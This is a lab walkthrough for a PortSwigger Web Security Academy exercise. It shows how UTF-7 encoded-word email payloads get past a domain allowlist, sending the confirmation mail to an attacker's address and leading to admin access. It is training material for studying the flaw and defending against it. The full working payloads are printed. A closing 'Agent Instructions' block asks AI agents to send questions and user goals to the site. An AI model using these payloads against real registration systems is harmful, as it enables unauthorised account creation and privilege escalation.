> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# Bypassing Access Controls by Inconsistent Parsing of Email Addresses

Bypassing Access Controls by Inconsistent Parsing of Email Addresses notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remed

### Bypassing Access Controls Using Email Address Parsing Discrepancies

#### Lab Description

This lab implements email address validation to prevent registration with unauthorized domains. / However, there is an inconsistency between the application-side validation logic and the library used to actually interpret email addresses.

Using this difference in parsing, it is possible to sign up with an external email address while bypassing the restriction on the authorized domain, then access admin features and delete user **carlos**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7e44c81befe43f141086d89a169934854990f0%2F%7BA30B519C-BDA0-4443-9FDD-5282BFBEA35E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Registration Constraint

When attempting to register with a classic address like:

```
test@jord4n.pro
```

The application refuses registration and states that only addresses belonging to the following domain are allowed:

```
ginandjuice.shop
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-027e5e6211f0bddfa97b4f8b4abcc9b0bc1d4a6e%2F%7BA5BD5BEB-EF19-4914-93F5-E61D00C9502C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A legitimate registration with this domain then triggers a confirmation email:

```
Please check your emails for your account registration link
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef2d6fec79a071ddc7b045f2307f3dbb45a70d1e%2F%7B60489A7B-5F54-45E9-A387-952C9FE53DB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

It is therefore necessary to receive this email to finalize the registration.

#### Origin of Vulnerability

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c79721eb7c558d70d2f79d7e8225b8ba1f592d3%2Fimage%20(194).png?alt=media" alt=""><figcaption></figcaption></figure>

The fault is based on the use of a **Encoded-word** (RFC 2047), the format of which is as follows:

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

This mechanism allows encoding certain parts of an email address.

The application validator rejects some encodings, while the final email parser correctly interprets them.

#### Initial Block

A simple encoding attempt in UTF-8 (quoted-printable) is blocked by the WAF:

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

Answer

```bash
Registration blocked for security reasons
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fa2e9cab5503a47efeb6d69465c55152f18d171%2F%7B325666A1-4BCE-4A2E-9FE4-FB626AD43AE9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Bypass Technique

To bypass this filtering, **UTF-7 encoding with Base64** is used.

Principle:

* Encode a character in UTF-16

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6dcfd3f23f4442c24715358e30cacd0d9fabee2%2F%7B6A6E4381-B010-4CA5-AC1A-F12DA40DA498%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Convert this result to Base64

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f372cb54f866c134e23c1ae203bb82d15a720432%2F%7BAF647B10-FDF7-4366-A51A-81F8C1C9BA3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Use in an Encoded-word UTF-7

Example of character encoding `a`:

* UTF-16 → Base64 : `AGE=`

Minimal working payload:

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

This value is accepted by the validation logic.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7863f9b2d3bc553f2f4b30b2920955bda491dad%2F%7B39966655-6720-4B2A-81DA-139FCC8A9824%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Full Operation with a Controlled Address

Attacker address:

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

Payload construction:

* `&AEA-` represents `@`
* `&ACA-` represents a space, preventing a strict interpretation of the final domain

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6d15dd92299198ddd3da2de69fb2419d4334a670%2F%7B5B9D15F5-8F74-45F9-B06F-B4482B9CD336%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Final Payload used when registering:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-43f4da9b3e2a5d2c4ea396e17515b265aaabefd2%2F%7BCE5D56A6-DCDF-48F9-A659-2663DA9DAD33%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Address actually interpreted by the email server:

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d763ece6d2affda0def05154022315550977b56%2F%7BDF3E8F90-B1D8-4847-8AAD-CE383A0B9E27%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Result

* The application validates the address because it ends with `@ginandjuice.shop`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dd4ee3c7dca7babb0d3630d132a1521a14ee8a%2F%7B5F863F7F-DE66-4C63-B07F-D8DEDD642BEA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Email server sends email to attacker-controlled address
* Confirmation link received
* Registration is successfully completed
* Access to the application is obtained
* Administrative actions become possible, including removal of user **carlos**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-807a4c6e6b4171cd05c3be4aa9db39cb3f7659ab%2F%7B0F9E86D6-7510-45AB-A85D-39F085EA0BB1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
